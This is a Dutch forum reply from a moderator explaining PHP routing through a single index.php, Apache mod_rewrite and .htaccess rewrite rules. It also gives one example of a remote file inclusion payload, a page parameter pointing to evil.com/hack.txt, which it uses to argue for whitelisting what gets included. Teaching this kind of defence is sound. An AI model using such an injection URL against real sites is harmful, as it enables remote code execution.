Moderator |
|
Het is in principe mogelijk om een index.php in al die onderdelen te zetten, maar dit is vanuit oogpunt van onderhoudbaarheid misschien niet zo handig. Wel zou je bijvoorbeeld die index.php's verantwoordelijk kunnen maken voor "routing" van dat deel van je website, maar de index.php in je root zou eigenlijk "leidend" moeten zijn voor de opbouw van webpagina's.
Dit idee van een single point of entry (een enkele pagina die je website aanstuurt) wordt al langere tijd aangemoedigd (geloof ik). Ook uit oogpunt van security (hoeveel "ingangen" heb ik in mijn applicatie) maak je het een en ander beter beheersbaar.
Natuurlijk zit je hele site niet in één bestand. In index.php zit wel (veel) logica voor het opbouwen van de rest van je site. Op (of via) deze pagina wordt meestal ook besloten of de URL die je hebt aangeroepen geldig is. Dit zou je met een heleboel if/elseif/elseif/else regels kunnen doen, maar doorgaans wordt een wat praktischere aanpak gekozen.
Dan heb je nog wat truuks die je uit kunt halen met je webserver. Een populaire webserver die vaak wordt gebruikt in combinatie met PHP en MySQL is Apache. Apache heeft een module genaamd mod_rewrite. Zoals de naam wellicht doet vermoeden stelt dit je in staat om URL's te herschrijven.
Wat je dus aan de "buitenkant" (in de webbrowser) aanroept als www.site.com/forum/1 wordt aan de "binnenkant" (de webserver) vertaald naar bijvoorbeeld /index.php?page=forum&category=1. Daar heb je je single point of entry index.php weer. Die "?page=forum" zou vervolgens kunnen zorgen voor het includen van code voor het laden van je forum (en deze kan zich bijvoorbeeld bevinden in /forum/forum.php of iets dergelijks) en "&categoy=1" zou er vervolgens voor kunnen zorgen dat er een overzichtspagina van forum-categorie "1" wordt getoond.
Met mod_rewrite kun je RewriteRules opstellen die een aanroep van een "externe" URL vertaalt naar de aanroep van een "interne" URL.
Webservers waarop PHP draait maken vaak gebruik van Apache dus grote kans dat als jij ergens webruimte hebt met PHP-ondersteuning dat deze op het Apache-platform draait en waarschijnlijk is de module mod_rewrite dan ook beschikbaar.
Met andere woorden: in index.php wordt (direct of indirect) "berekend" (en dit kan op een heleboel manieren) of een pagina bestaat. Je doet er daarbij wel verstandig aan om een en ander goed te controleren. Je zou namelijk bijvoorbeeld, als PHP-instellingen dit toelaten, het volgende kunnen doen:
index.php?page=http://www.evil.com/hack.txt
Er kan dan PHP-code vanuit een externe bron geïnjecteerd worden in jouw website. Controleer dus altijd wat je inlaad, hierbij is het verstandig om een soort van lijst van toegestane bronnen te definiëren (een zogenaamde whitelist) of een ander stramien wat ervoor zorgt dat je veilig code inlaad in je website.
RewriteRules worden meestal geregeld via een zogenaamd .htaccess bestand. Dit is (min of meer) een Apache configuratie-bestand dat je in staat stelt om per folder/bestand of zelfs voor de hele website instellingen te configureren.
In dit topic staat het een en ander over .htaccess en RewriteRules.
Eerder was er ook een soortgelijk topic. Misschien kun je hier nog wat inspiratie uit opdoen. Ook als je meteen met object georiënteerd programmeren aan de slag wilt.
Je hebt overigens niet per se RewriteRules nodig, je kunt altijd werken via index.php?... tenzij "zoekmachinevriendelijke URLs" belangrijk zijn. En ook dan zijn er andere mogelijkheden, waarbij je niet afhankelijk bent van Apache en/of mod_rewrite.
Tot slot zou je er ook voor kunnen kiezen om één RewriteRule te schrijven die alles doorsluist naar index.php en dat je daar (dus niet via .htaccess) verder bepaalt hoe externe URL's vertaald moeten worden naar hun interne equivalent. Het topic waar eerder naar gelinkt werd bedient zich van deze strategie. Dat is wellicht nog de "schoonste" methode in die zin dat je geen explosie van allerlei RewriteRules in één niet-rechtstreeks-beheerbaar-bestand hebt. Als je het beheer hiermee verplaatst naar PHP dan zou je ook code kunnen schrijven om je URL rewriting in PHP zelf (interactief) te beheren via een interface (set van formulieren en pagina's). |